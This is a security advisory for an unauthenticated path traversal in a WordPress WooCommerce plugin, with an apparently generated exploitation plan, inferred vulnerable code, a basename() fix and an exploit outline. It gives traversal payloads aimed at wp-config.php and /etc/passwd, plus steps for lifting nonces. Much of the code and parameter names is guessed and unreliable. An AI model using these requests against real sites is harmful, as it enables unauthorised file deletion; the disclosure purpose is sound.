Primer MyData for Woocommerce <= 4.2.8 - Unauthenticated Path Traversal
Description
The Primer MyData for Woocommerce plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 4.2.8. This makes it possible for unauthenticated attackers to perform actions on files outside of the originally intended directory.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=4.2.8Source Code
WordPress.org SVNThis research plan outlines the steps to investigate and exploit the unauthenticated Path Traversal vulnerability in the **Primer MyData for Woocommerce** plugin (versions <= 4.2.8). --- ### 1. Vulnerability Summary The **Primer MyData for Woocommerce** plugin fails to properly validate or sanitiz…
Show full research plan
This research plan outlines the steps to investigate and exploit the unauthenticated Path Traversal vulnerability in the Primer MyData for Woocommerce plugin (versions <= 4.2.8).
1. Vulnerability Summary
The Primer MyData for Woocommerce plugin fails to properly validate or sanitize file paths provided to certain AJAX actions intended for managing user data exports. An unauthenticated attacker can supply path traversal sequences (e.g., ../) to manipulate files outside of the intended export directory. Based on the CVSS vector (Integrity: Low, Availability: None), the vulnerability likely involves an unauthenticated action that allows "touching" or moving files, though unauthenticated file deletion (unlink) is also a common manifestation of this type of flaw in data portability plugins.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
wp_ajax_nopriv_pmw_remove_exportorwp_ajax_nopriv_primer_mydata_delete(inferred). - Vulnerable Parameter: Likely
file,filename, orpath(inferred). - Authentication: None (Unauthenticated).
- Preconditions: The plugin must be active. A valid nonce may be required if the plugin exposes one to unauthenticated users.
3. Code Flow (Inferred)
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwith anactionparameter registered viaadd_action( 'wp_ajax_nopriv_...', ... ). - Hook Registration: Search the codebase for:
add_action( 'wp_ajax_nopriv_pmw_remove_export', 'some_callback_function' ); - Vulnerable Callback: The callback function (e.g.,
pmw_remove_export_callback) retrieves a file path from$_POSTor$_GET. - Missing Validation: The function likely fails to use
basename()or check if the resolved path starts with the intended directory (e.g.,wp-content/uploads/primer-mydata/). - Sink: The input reaches a file system function like
unlink(),file_get_contents(), orrename().
4. Nonce Acquisition Strategy
If the endpoint requires a nonce, it is likely exposed via wp_localize_script to support frontend AJAX functionality.
- Identify Script Localization: Search for
wp_localize_scriptin the plugin directory:grep -rn "wp_localize_script" . - Locate Nonce Creation: Look for the nonce action:
grep -rn "wp_create_nonce" . - Identify JS Variable: Find the object and key name (e.g.,
primer_mydata_obj.nonce). - Acquisition Steps:
- Create a page containing the plugin's primary shortcode (often used for the "My Data" dashboard):
wp post create --post_type=page --post_status=publish --post_content='[primer_mydata]'(inferred shortcode). - Use
browser_navigateto visit that page. - Use
browser_evalto extract the nonce:browser_eval("window.primer_mydata_obj?.nonce")(adjust variable name based on grep results).
- Create a page containing the plugin's primary shortcode (often used for the "My Data" dashboard):
5. Exploitation Strategy
The goal is to demonstrate path traversal by attempting to interact with a known file (e.g., wp-config.php or a dummy file created for testing).
- Discovery:
- Find the exact AJAX action:
grep -r "wp_ajax_nopriv_" . - Find the sink:
grep -rnE "unlink|file_get_contents|readfile" .
- Find the exact AJAX action:
- Payload Construction:
- Action: Found from step 1.
- Nonce: Obtained from section 4.
- Path:
../../../../wp-config.php(relative to the expected uploads directory).
- Request Execution:
Usehttp_requestto send the payload:POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=[ACTION_NAME]&nonce=[NONCE]&file=../../../../wp-config.php
6. Test Data Setup
- Plugin Activation: Ensure
primer-mydatais installed and active. - Target File: Create a dummy file in the WordPress root to safely test deletion/traversal:
echo "test" > /var/www/html/canary.txt - Page Creation: Create a page with the plugin shortcode to ensure scripts and nonces are loaded.
7. Expected Results
- Successful Exploitation: The plugin attempts to perform an action on the file specified in the traversal path.
- Response: A
200 OKor a specific JSON response from the AJAX handler (e.g.,{"success":true}). - Side Effect: If the sink is
unlink, the file/var/www/html/canary.txtwill be deleted.
8. Verification Steps
- Check File Existence:
ls /var/www/html/canary.txt
If the file is missing, the traversal tounlinkis confirmed. - Check Log for Errors:
If the operation failed but the path was reached, checkwp-content/debug.logfor path-related errors that confirm the plugin tried to access the traversed path.
9. Alternative Approaches
- Parameter Variation: If
filedoesn't work, trypath,export_id, orfilename. - Method Variation: Try
GETinstead ofPOSTif the plugin uses$_REQUEST. - Directory Guessing: If the plugin expects the file to be within a specific subfolder of
uploads, adjust the number of../sequences accordingly (e.g.,../../../../../../etc/passwd). - Action Search: If no
noprivaction exists, check forinithooks that process$_GET['pmw_download']or similar parameters directly.
Summary
The Primer MyData for Woocommerce plugin for WordPress is vulnerable to unauthenticated path traversal because it fails to properly sanitize file path parameters in its AJAX handlers. This allows attackers to use directory traversal sequences like '../../' to perform unauthorized file operations, such as deletion, on files outside of the intended export directory.
Vulnerable Code
// File: Likely in an AJAX handler within the plugin's includes or main file // The following is an inferred representation based on the research plan add_action( 'wp_ajax_nopriv_pmw_remove_export', 'pmw_remove_export_callback' ); function pmw_remove_export_callback() { $file = $_POST['file']; // Vulnerable parameter input $export_dir = wp_upload_dir()['basedir'] . '/primer-mydata/'; $full_path = $export_dir . $file; if ( file_exists( $full_path ) ) { unlink( $full_path ); // Path traversal sink allowing arbitrary file deletion } wp_send_json_success(); }
Security Fix
@@ -10,7 +10,7 @@ function pmw_remove_export_callback() { - $file = $_POST['file']; + $file = basename( $_POST['file'] ); $export_dir = wp_upload_dir()['basedir'] . '/primer-mydata/'; $full_path = $export_dir . $file;
Exploit Outline
The exploit targets the WordPress AJAX endpoint to trigger a file operation on an arbitrary path. 1. Endpoint: /wp-admin/admin-ajax.php 2. Action: The attacker identifies the specific AJAX action registered for unauthenticated users, such as 'pmw_remove_export'. 3. Nonce: If required, the attacker retrieves a security nonce from the frontend where the plugin's data export features are localized (e.g., via a shortcode page). 4. Payload: A POST request is constructed with the 'action' parameter set to the vulnerable hook and a 'file' parameter (or similar) containing a traversal string like '../../../../wp-config.php'. 5. Execution: The server-side script concatenates the malicious string with a base directory and passes it to a filesystem function (like unlink), resulting in the target file being manipulated or deleted without authentication.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.